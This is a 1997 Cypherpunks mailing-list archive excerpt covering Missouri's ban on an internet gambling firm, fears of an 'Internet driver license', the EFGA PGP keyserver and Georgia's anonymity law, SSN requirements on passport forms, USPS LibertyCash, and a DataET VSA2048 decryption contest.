Message-ID: <199705271720.MAA32492@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.1.32.19970527025203.00739e9c@popd.ix.netcom.com>, on 05/27/97 
   at 02:52 AM, Bill Stewart <stewarts@ix.netcom.com> said:

>>Judge bans Internet gambling company from operating in Missouri
>>
>> http://www.nando.net/newsroom/ntn/info/052597/info14_11497.html
>>
>>Copyright   1997 Nando.net
>>Copyright   1997 Kansas City Star
>>
>>KANSAS CITY, Mo. (May 25, 1997 00:31 a.m. EDT) -- A Missouri judge
>>on Friday banned an Internet gambling company from operating in the
>>state.


This comes as no suprise to anyone who was in KCMO durring the fight over
riverboat gambling.

The politions there have sold their souls to the big cassinos for the
prommise of tax dollars that they could then use to buy votes.

They now see Internet Gaming as a threat to their revenue stream (both
riverboat cassinos & state sponsored numbers racket).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------
 
Tag-O-Matic: Turn your 486 into a Gameboy: Type WIN at C:\>

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4sXRY9Co1n+aLhhAQHgUgP+MWwywMqugcdz6w/7dR57LEbYCXDQ5+Om
47LHyEaObrbmKaz+VRHJIlKwOcK+L+Uw9ah0Nzp8Gp7R/N0sRIlH0UnQceTuATWi
7Rv2z6gFZkNQrXXFEODxGYp+brKzXTGU8HLJeMDlVTXm9Ee/el10hMSVvZgLANIc
Yvad1qdeVoA=
=ldZl
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jim.burnes@ssds.com>
Date: Wed, 28 May 1997 03:00:34 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Beware of encrypted processors bearing gifts...
In-Reply-To: <3.0.32.19970524204444.00739384@netcom13.netcom.com>
Message-ID: <Pine.LNX.3.95.970527122813.1144B-100000@westsec.denver.ssds.com>
MIME-Version: 1.0
Content-Type: text/plain




On Sat, 24 May 1997, Lucky Green wrote:

> At 10:28 PM 5/24/97 -0400, Dave Emery wrote:
> >	A three way encrypted handshake between an encrypted agent that
> >was part of the OS and  a smart card and software at an ISP could be
> >used to enforce an internet drivers license law for  example, with no
> >packets being forwarded by the ISP without hard  authentication (even up
> >to biometrics) of the user.  And it would be rather trivial to disallow
> >use of "unapproved" software to communicate over the net, making
> >enforcement of GAK much more complete.  One could even use such a
> >mechanism to forbid use of any  uncertified software on a net connected
> >machine, thus making it rather hard to use such rogue applications as
> >PGP.
> 
> I strongly agree with you. While the motivation that lead to the
> development of such processors stems probably from the desire to thwart
> software piracy, it will make implementation of the "Internet Driver
> License" that much easier.
> 
> [For those new to Cypherpunks, I consider the requirement for an Internet
> Driver License as inevitable as the sun raising tomorrow morning. While the
> event is technically in the future, it will occur with a certainty that it
> may just as well have already happened in the past. Read the graphic novel
> "Watchmen" if you don't understand what I am talking about. Sure, there is
> a small but no-zero probability that the Earth will be vaporized before
> sunrise by a timebomb left by aliens 3.5 million years ago. That's why I
> wrote "as inevitable", as opposed to "inevitable".]
> 

Well...they will TRY...

If this kind of thing gets through without a huge fight from the 
public in general and the crypto community specifically, then we
get exactly what we deserve.

I will be heading for some quiet island at that point.

All aboard for Vonuatu.
(though I hear its not that quiet these days)   8-)

Jim Burnes







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 28 May 1997 02:18:31 +0800
To: Tim May <tcmay@got.net>
Subject: Re: I am allowed one message  (was: List problems or is it quiet???)
In-Reply-To: <v03102800afb0c3d3add4@[207.167.93.63]>
Message-ID: <199705271807.NAA00518@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

In <v03102800afb0c3d3add4@[207.167.93.63]>, on 05/27/97 
   at 10:17 AM, Tim May <tcmay@got.net> said:

>--Winston Smith, Job Trainee #227-90-2389

This message was forwared to me by the Internal Monitoring Department,
Federal Bureau of Investigations, Department of Justice.

I must strongly advise you against using false names & SS numbers as it is
a clear violation of Presenditial Order #12653289376 issued under the
National Emergency Powers Act where it is illegal to atempt to conceal one
identity in any communtication.

We do have a room reserved here right next to an associate of yours Jim
Bell if you insist on persuing this cource of action.

Sincerly,

William H. Geiger III  
Cheif of Staff Stalag #13

 
Tag-O-Matic: OS/2...Opens up Windows, shuts up Gates.

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Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM4siY49Co1n+aLhhAQHhGAP7B6hEaxmQKHqTzhEccFAQCdIQun3GS602
HrAwsrapGrZnvUwEIiYN/eJxoEnD5D9tyJXFlRj+uIp1hCXpz2YPQIGfawxP3VXS
q4tIYvfWRaFRuTjZZU4ANfpPlc/UFb4pkcct405QTY2ymrsKCpgoIZynt/IvARn8
n4IJ1HEagHM=
=6mZp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 28 May 1997 04:54:19 +0800
To: "Robert A. Costner" <cypherpunks@algebra.com
Subject: The lights went out in Georgia
In-Reply-To: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
Message-ID: <v03102801afb0f4da8b9f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:43 PM -0400 5/27/97, Robert A. Costner wrote:

>Electronic Frontiers Georgia has set up a key repository for PGP type keys.
>This is part of a pilot project based on Georgia's New Digital Signature
>Law.
>We are still beta testing the keyserver, and invite people to try it out.
>The
>results of our testing will be presented at the Digital Signature Task Force
>meeting on June 24th.
...>This is a closed keyserver, in that keys do not replicate to non EFGA
>keyservers.  If this model is successful, this will help move Georgia to a
>position of being pro-strong encryption.
>
>Right now the server may only accept keys through the PGPkeys interface.  We
>appreciate comments from experienced PGP users.  Comments may be sent to
>myself, or to keymaster@efga.org

But as Robert knows more directly than I, Georgia also has the "anonymity
is a crime" laws on the books (an article excerpt is below...doing a search
on Georgia and anonynimity will turn up a lot of articles).

One of the articles:

"ACLU Sues Georgia for Restricting Free Speech

"[September 26] -- This week the American Civil Liberties Union, Electronic
Frontiers Georgia, Georgia State Representative Mitchell
Kaye (R-Marietta), and others filed suit against the state of Georgia for
restricting free online speech.

"The Georgia statute makes it illegal for users to assume online anonymous
personas or pseudonyms. The statute also restricts the use of
linking to other sites on the Web. "

So, what will happen if people, entities, remailers, pseudonyms, etc..
submit keys to this EFF-Georgia repository without providing SS number,
passport, mother's maiden name, etc.?

(Will Georgia seek the BlackNet operator's extradition for not complying
with Georgia's law when he submits the BlackNet key? Does the Georgia EFF
plan to enforce the Georgia law?)

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: root <root@fatmans.demon.co.uk>
Date: Wed, 28 May 1997 00:49:08 +0800
To: cypherpunks@algebra.com
Subject: List problems or is it quiet???
Message-ID: <Pine.LNX.3.91.970527144732.2499A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


	
I have checked the cypherpunks archive following my comment that I was 
not getting much mail from the list (only 8 to 10 posts per day) over the 
last 2 or 3 days, and the archive confirms this. Igor and Jim have 
confirmed that algebra and ssz are up, and cyberpass is reponding to 
majordomo requests...

I`m just sending this to check that this really is not a list problem, as 
of course 10 posts a day is an uncommonly low traffic level for the list.

Unless of course the black clad ninja`s have come round on 4am nomex 
hooded raids, and you are all in the ministry of love being questioned 
over allegations of thoughtcrime, which would explain the lack of posts 
;-)......

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 28 May 1997 03:56:57 +0800
To: cypherpunks@algebra.com
Subject: PGP 5.0 keyserver
Message-ID: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Electronic Frontiers Georgia has set up a key repository for PGP type keys.  
This is part of a pilot project based on Georgia's New Digital Signature Law.  
We are still beta testing the keyserver, and invite people to try it out.  The 
results of our testing will be presented at the Digital Signature Task Force 
meeting on June 24th.

To access the keyserver, change your PGP5.0 preferences to point to

    keys.efga.org

This is a closed keyserver, in that keys do not replicate to non EFGA 
keyservers.  If this model is successful, this will help move Georgia to a 
position of being pro-strong encryption.

Right now the server may only accept keys through the PGPkeys interface.  We 
appreciate comments from experienced PGP users.  Comments may be sent to 
myself, or to keymaster@efga.org

Thanks,

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM4s5Q0GpGhRXg5NZAQFjiAH7BAzoxSFvyXUOt06nN5yZOyf4As198E9D
gtNDqiqmux5SYuqoqBi7oiHEKNyphJOJEhMO+J2BVw8GGdWYMWtmRA==
=BZXE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 28 May 1997 06:22:02 +0800
To: cypherpunks@toad.com
Subject: Liberty Cash
Message-ID: <v0302090aafb0eb40da95@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: "R. Jason Cronk" <list-manager@purple.reddesign.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Mon, 26 May 1997 13:46:10 -0400
From: "R. Jason Cronk" <list-manager@purple.reddesign.com>
To: Multiple recipients of <e$@thumper.vmeng.com>
Subject:  Liberty Cash

More account based $%&#!! from the US Post Office:


LibertyCash may look like a credit card, but it's not.  It's the
convenient new cash replacement card, available only from the United States
Postal Service.

No cash.  No checks.  Just a swipe of your LibertyCash Card and you're all
paid up.

The refillable card gives you the security of a PIN and is a real favorite
with the business crowd.  It's available in intial amounts from $5-$300 and
can be refilled to a maximum balance of $300.

The disposable card is perfect for your small purchases, and there's no PIN
to remember.  It's available in $10 and $20 amounts and, once it's spent,
you can throw the card away or keep it as a collectible.

Safer than cash.  Use a refillable card and we can easily replace it if
it's lost or stolen.  Just go to a participating post office, and we'll
transfer your remaining balance to a new card.  It's as simple as that.


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"
<http://www.intertrader.com/library/DigitalMoneyOnline>

Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info@hyperion.co.uk

Like e$? Help pay for it! <http://www.shipwright.com/beg.html>
For e$/e$pam sponsorship, mail Bob: <mailto:rah@shipwright.com>

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo <mailto:vinnie@webstuff.apple.com>
(Majordomo)^2: Rachel Willmer<mailto:rachel@intertrader.com>
Commermeister: Anthony Templer <mailto:anthony@atanda.com>
Interturge: Rodney Thayer <mailto:rodney@sabletech.com>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 28 May 1997 06:33:56 +0800
To: cypherpunks@toad.com
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, June 3, 1997
Message-ID: <v03020913afb0ee829e94@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


To: nh-isig@bcs1.ziplink.net, isig@signet.org, talk@web-net.org,
        discuss@tarnhelm.blu.org
Subject: New Hampshire INTERNET SIG Meeting, Tuesday, June 3, 1997
Mime-Version: 1.0
Date: Tue, 27 May 97 12:36:48 -0400
From: "Jerry Feldman" <gaf@zk3.dec.com>
X-Mts: smtp
Sender: owner-isig@signet.org
Precedence: bulk
Reply-To: isig@signet.org

When:    Tuesday June 3, 1997 7PM
Where:   Nashua, NH Public Library, 2 Court St, Nashua, NH.
Topic:   Technology and social consequences of digital commerce and
         financial cryptography.
Speaker: Robert Hettinga, founding moderator of the
         Digital Commerce Society of Boston.

The NH INTERNET SIG (Special Interest Group) welcomes you to its
monthly meeting, the first Tuesday of every month.
The next meeting
is on June 3rd and will focus on the technology and social
consequences of digital commerce and financial cryptography.
Mr. Hettinga is also general chair of Financial
Cryptography 1997, the world's first conference on Financial
Cryptography. However, financial cryptography, the technology which
underlies digital commerce in its most secure form, will have much
more profound implications than merely the simplification of sales and
distribution. It permits us to make anonymous *cash* transactions for
everything from a billion-dollar foriegn exchange trade to, probably,
the switching of internet packets themselves.  If this promise is
kept, it could change the fundamentals of our entire society.

Please check out Mr. Hettinga's web site:http://www.vmeng.com/rah/

This meeting promises to be fun and informative for both the technical
and non-technical computer users.

For more information contact Ken Adams at (603) 598-1823
eMail: director@nh-isig.org
For more information contact Jerry Feldman <gaf@signet.org>,
NH-ISIG meeting coordinator..
Mailing list: nh-isig@bcs1.ziplink.net
WWW:          http://www.nh-isig.org

Directions to the Nashua Public Library
All parking if free after 5PM.

>From south of Nashua:
Take Route 3 North to Nashua. Take exit 5E, Route 111 East
(Kinsley St., There is a Howard Johnson's Motel at the exit).
Follow 111 East (Kinsley St.) to the fourth set of lights and Main
St. North. Turn left onto Main St. and at the third set of lights turn
right onto Temple St. Take Temple St. to 2nd left onto Cottage Avenue
(Behind Indian Head Plaza) into Library's metered parking lot.

>From North of Nashua:
Take the Everett Turnpike (Rte. 3) to Exit 7-E, 101A (Amherst St.)
Follow 101A to major intersection and turn right onto Main St. Follow
Main St. and turn left at the second set of lights onto Temple
St. Take Temple St. to 2nd left onto Cottage Avenue (Behind Indian
Head Plaza) into Library's metered parking lot.





--
+-------------------------------------------------------------+
Jerry Feldman            gaf@SigNet.org
New Hampshire Internet SIG Meeting Coordinator
+-------------------------------------------------------------+



--
To unsubscribe from this list, send mail to majordomo@signet.org
with the following text in the *body* (*not* the subject line) of the letter:
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--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 28 May 1997 08:13:54 +0800
To: cypherpunks@toad.com
Subject: Re: Beware of encrypted processors bearing gifts...
Message-ID: <199705272347.QAA10019@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Burnes wrote:
> On Sat, 24 May 1997, Lucky Green wrote:
> > At 10:28 PM 5/24/97 -0400, Dave Emery wrote:
> > >     A three way encrypted handshake between an encrypted agent that
> > >was part of the OS and  a smart card and software at an ISP could be
> > >used to enforce an internet drivers license law for  example, with no
> > >packets being forwarded by the ISP without hard  authentication (even up
> > >to biometrics) of the user. 

> > [For those new to Cypherpunks, I consider the requirement for an Internet
> > Driver License as inevitable as the sun raising tomorrow morning. While the
> > event is technically in the future, it will occur with a certainty that it
> > may just as well have already happened in the past. 

> If this kind of thing gets through without a huge fight from the
> public in general and the crypto community specifically, then we
> get exactly what we deserve.
 
> I will be heading for some quiet island at that point.
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
We now live in an age where, in between the slumber of the soap operas 
and the bewitchment of 'prime time,' we are fed our opinions and 
world-views in catch-phrases and ten second sound-bytes. 

At the same time, Gomez sees to it that there is enough trouble and 
turmoil in the world that the World Leaders, even in democracies,
can chip away at human and individual rights under the guise of dealing 
with various 'threats' that they, themselves, have concocted as a means
of retaining power over the masses. 

Even as the governments of the world strive to bring everyone and 
everything, however minute, under tight control and regulation, Gomez 
and the Dark Allies are behind the scenes, helping to guide the 
development of a technology that will, along with television, be 
the ultimate weapon in their struggle for the domination of all 
mankind---the Computer.

The rich and powerful have managed to lull us to sleep with the 
hypnotizing power of television---stealing our thoughts and our 
reasoning processes in our slumber, feeding us our reality via the 
airwaves...according to the 'official' party line. 

The government and the media have placed us on neat little shelves 
where we are numbered and labeled according to their own wants and 
needs. We are allowed the illusion of freedom of thought, and 
individual choice, as long as we have our 'Freedom of Thought Permit
1136.51.709' and don't stray too far from the permitted paths. 

In the great battles of the past the Dark Forces have always been 
beaten by the individuals scattered in the secret places, living 
unnoticed in obscurity. Living quietly and unobtrusively, forgotten 
about in the madness storming the land, they have kept alive the 
spark of Thought and Reason. They were able to go quietly about 
their work, making contact with the individuals who were ready to 
escape the madness and work towards restoring Sanity in the land.

This time there will be no escape. Every man, woman and child on the 
face of the earth will have a dossier documenting their life from the
time of their arrival on the face of the planet.
Information gleaned from the Department of Motor Vehicles, their Social
Security Number, banks, credit cards, magazine subscriptions, 
charitable and political contributions. 

When Gomez removes the masks of his human allies, revealing them as 
dark agents who have been rewarded with wealth and power for doing 
the bidding of the Evil One, the names of the misfits and 
wrong-thinkers will be spit out of the computers at the speed of 
light---to be rounded up and disposed of in the opening salvo of 
the new Holocaust. 

   Excerpt from "The Xenix Chainsaw Massacre" (1989)
http://bureau42.base.org/public/xenix/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

I first read the above work in 1990 when it was considered by some to
be Orwellian in scope and by others to be paranoid babbling. Since then
I have watched the underlying theme of the work come to fruitation
slowly but inexorably.
Since my first reading of it I began taking steps to secure my files
and communications and in the process I discovered cryptography. In
1990 that made me a paranoid oddball to be viewed with skepticism.
Now there is a name for my disease: Cypherpunk Syndrome.

Not A Hypochondriac
~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Wed, 28 May 1997 06:09:34 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SSN and passport
In-Reply-To: <199705271820.LAA07618@jefferson.hidden.net>
Message-ID: <Pine.LNX.3.95.970527164552.914A-100000@purple.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Tue, 27 May 1997, Anonymous wrote:

>      I recently applied for a U.S. passport and, as an experiment,
> entered a SSN of 000-00-0000.  The nice lady at the counter informed
> me that it would not be processed unless I provided a valid SSN (which
> gets forwarded to the IRS).  It was my understanding that this
> disclosure was voluntary and that another form was available for
> notifying the IRS that a passport had been applied for.
> 
>      My travel plans didn't allow me the luxury of delaying the
> application process, so I provided the damn number.  Does anyone know
> the real rules for this situation?  Must passports be cleared with the
> tax goons or do they just want to keep tabs on people travelling
> abroad?

I don't know the reason, but the IRS tax code requires that all passport
applicants supply their SSNs to the IRS.  The penalty for failing to
notify is $500.  I recently encountered this situation and just left
the SSN blank.  After explaining to the lady behind the counter that
I was not required to give my SSN to the State Department, she eventually
accepted the application without the SSN.  I sent a letter to the IRS
(address where tax returns are supposed to be sent) explainging the
situation and included my SSN in the letter.  I applied for the passport
two months ago and have not been hassled by the IRS.  A sample letter
is at ftp.cpsr.org/cpsr/privacy/ssn/passport.ps.  There's also more
about this in the SSN FAQ.




Mark
-----BEGIN PGP SIGNATURE-----
Version: 2.6.3
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iQEVAwUBM4tLwCzIPc7jvyFpAQGI0wf/UVlRi69bn6maj0uF35+GxE6ejT0fhp9w
NvpXaTSwF+SjXGfROshUYOChsc75axNHXDvhzWVIC+MooY5IzJv3rZ6lBjN73kO1
WGq17xwtoVvSaMOW2CFspbhGNpM18UK7CkCm5ugGUD2lUIMztO9u4NQPgHIHHetX
XTIxKd/SoQUTMzAFybRyUAtg4EKlhGLotMNNU7/xNlkCaTlgXRKTg2BPnrykhhHI
Sxn/NVhpWnYjF2eJpKAIsf6eU/ElhVkXiQ7C4mQFdMNTP8wijBlIib1qI7M3h0lq
ji2UDBxPOhNSwkMjO1O1wxgRs6Lvj0+YDPyjoWPifLddUImZ1vmw+w==
=TvQx
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 28 May 1997 10:38:43 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The lights went out in Georgia
In-Reply-To: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
Message-ID: <3.0.1.32.19970527170546.0073fa80@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 01:36 PM 5/27/97 -0700, Tim May wrote:
>>Electronic Frontiers Georgia has set up a key repository for PGP type keys.
...
>But as Robert knows more directly than I, Georgia also has the "anonymity
>is a crime" laws on the books (an article excerpt is below...doing a search
>on Georgia and anonynimity will turn up a lot of articles).
...
>So, what will happen if people, entities, remailers, pseudonyms, etc..
>submit keys to this EFF-Georgia repository without providing SS number,
>passport, mother's maiden name, etc.?

It's not really a big problem - the law doesn't forbid the EFF to accept
anonymously submitted communications, it only forbids Subjects of the 
State of Georgia to send them.  

>(Will Georgia seek the BlackNet operator's extradition for not complying
>with Georgia's law when he submits the BlackNet key? Does the Georgia EFF
>plan to enforce the Georgia law?)

If you don't provide enough address information along with your key 
for the Cracker Police to find your True Name and hunt you down, 
that's just a shame, now isn't it...  especially if the EFGA doesn't 
file a complaint about it.  Besides, how can they extradite someone they
can't find - send polite diplomatic notes to all the governments
in the world asking them to find some unknown character for them?
"Please extradite the usual suspects!"



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Wed, 28 May 1997 05:36:28 +0800
To: Tim May <tcmay@got.net>
Subject: Re: The lights went out in Georgia
In-Reply-To: <3.0.2.32.19970527154305.007098e4@keystone.intergate.net>
Message-ID: <3.0.2.32.19970527171526.0074890c@keystone.intergate.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:36 PM 5/27/97 -0700, Tim May wrote:
>But as Robert knows more directly than I, Georgia also has the "anonymity
>is a crime" laws on the books 
...
>So, what will happen if people, entities, remailers, pseudonyms, etc..
>submit keys to this EFF-Georgia repository without providing SS number,
>passport, mother's maiden name, etc.?

If Tim read the article he quoted from, he will notice that EFGA has sued the 
state of Georgia over the on-line anonymity law.  We were in court on Feb 12, 
and while we have been waiting longer than expected, we anticipate the federal 
judge to rule in our favor, and against the state.

The original Digital Signature law proposed in Georgia was an invasive 
bureaucratic law very similar the laws passed in Utah and Washington State, 
and similar to the model proposed by the American bar Association.  This law 
attempted to have a state controlled Ministry of Signatures that would have 
databases linking email addresses to credit bureau files.  I led EFGA in 
opposing the state on this issue.  We went to Digital Signature Task Force 
Meetings, testified at Senate hearings, gathered research from other places, 
and did a lot to help educate the local lawmakers and corporate people.

The result of this education process was that the original bill was thrown out 
and replaced with a much better Electronic Records and Digital Signature Act 
to be passed here in Georgia.

The X.509 type provisions are not implemented in the EFGA key repository.  No 
proof of identity is required - the certification is based on the web of trust 
principle.  To further enhance privacy, we have turned off replication of keys 
to other servers and will not be allowing searches on the database, only exact 
user matches.  EFGA has identified privacy problems with the existing MIT 
(Horowitz) PGP key server and we are attempting to help plug the holes.

I think you will find that what happens when people use key repositories and 
crypto in Georgia without disclosing private personal information is that the 
State of Georgia will be endorsing strong crypto.  The Georgia Information 
Technology Policy Council will report on it, and the Electronic Commerce Study 
Committee will report on it.  And the state government will endorse the use of 
512 to 2048 bit encryption without escrrow.

PS.  You are still invited to use PGP5.0 to send your keys to keys.efga.org


-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQBVAwUBM4tO6UGpGhRXg5NZAQFujQH/bbL+OPSeeXA3xwK1ju+pMOLs7+3vEZjC
U1ysIir7TUiJJvz7nYNPrJA2CbXKk4/QSN9hoz0B1DN8E5Q/OuLfNA==
=KEZf
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 28 May 1997 09:00:21 +0800
To: cypherpunks@toad.com
Subject: SSN and Passports
Message-ID: <199705280035.RAA11886@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Wednesday, May 28, 1997 - 02:10:42 MET

>I don't know the reason, but the IRS tax code requires that all passport
>applicants supply their SSNs to the IRS. 

The reason is obvious - they want to make sure they've
got their hands on your wallet, especially if you might
be the type of person who goes overseas, where there are
more opportunities to move money outside their supervision.

When I last renewed my passport, I had enough time to do it by mail
(with the extra fee for expedited service.)  Since I don't have
legal knowledge that the Secretary of Social Security has issued
me a number (my father gave me an SSN card when I was a kid,
which he had probably had issued to him for my bank account),
I had to strictly obey the law and leave the box blank :-)
Not a problem.

On the other hand, I know someone else who has the wrong name
on her passport, because the State Department has trouble
keeping track of divorced parents' name changes.
She filled out the SSN on her passport applications,
and a few weeks after she got the new passport,
she got a letter from the IRS saying "Dear Ms. Wrong-Name:
We don't have any tax returns with your name on them that match
SSN that you gave the Passport Office.  Please send us copies
of all your last N tax returns!"

Governments.  How quaint.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 28 May 1997 06:30:35 +0800
To: 3umoelle@informatik.uni-hamburg.de
Subject: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970527174952_-1062248409@emout10.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-05-26 19:38:43 EDT, you write:

<< The test file is only 836 bytes long.  Could you please post a file
 consisting of, say, 50.000 space characters encrypted with the same
 key? >>

50,000 with the same key? Sure. A new file will be posted under the same name
as the previously posted one. The same key will be used to encrypt the file
before posting. Contest details will be reposted. By the way, a simple
VSA2048 decryption program will be released soon so that there will not exist
a need to develop one to decrypt the file. Also, the contest expiration date
has been extended to July 1st, 1997. Good luck!

Again, random XOR is *not* the only method used to encrypt data. In fact,
random XOR could be left out. Consider examining VSACMInternal (in
INTUNIT.PAS) and VSACMProcessOperation in LIBUNIT.PAS for additional
information.

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 28 May 1997 06:26:03 +0800
To: 3umoelle@informatik.uni-hamburg.de
Subject: CRACKIT.DAT increased to 50,000 bytes.
Message-ID: <970527175002_2019806503@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


In a message dated 97-05-26 19:38:43 EDT, you write:

<< The test file is only 836 bytes long.  Could you please post a file
 consisting of, say, 50.000 space characters encrypted with the same
 key? >>

50,000 with the same key? Sure. A new file will be posted under the same name
as the previously posted one. The same key will be used to encrypt the file
before posting. Contest details will be reposted. By the way, a simple
VSA2048 decryption program will be released soon so that there will not exist
a need to develop one to decrypt the file. Also, the contest expiration date
has been extended to July 1st, 1997. Good luck!

Again, random XOR is *not* the only method used to encrypt data. In fact,
random XOR could be left out. Consider examining VSACMInternal (in
INTUNIT.PAS) and VSACMProcessOperation in LIBUNIT.PAS for additional
information.

Regards,

Jeremy Yu-Ramos
DataET Research





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DataETRsch@aol.com
Date: Wed, 28 May 1997 06:23:06 +0800
To: cypherpunks@toad.com
Subject: Decryption contest details...
Message-ID: <970527175035_36844712@emout15.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


Host: DataET Research (http://www.dataet.com)
Contest expiration date: July 1st, 1997
Encrypted file location:
http://www.dataet.com/public/source/vsacmv20/crackit.dat
Applied encryption algorithm: VSA2048
Encryption algorithm source code:
http://www.dataet.com/public/source/vsacmv20/
Applied key size: 120 bits (15 bytes)
Encrypted (secured) file size: 50,000 bytes
Decrypted (unsecured) file size: 50,000 bytes
Hints: No message hints available
Key and message post location: cypherpunks@toad.com
Contact: info@dataet.com
Limitations: U.S. residents only
Prize: Two free basic Web site packages

CRACKIT.DAT file statistics:

Type: Binary (Intel)
Characters: 50,000





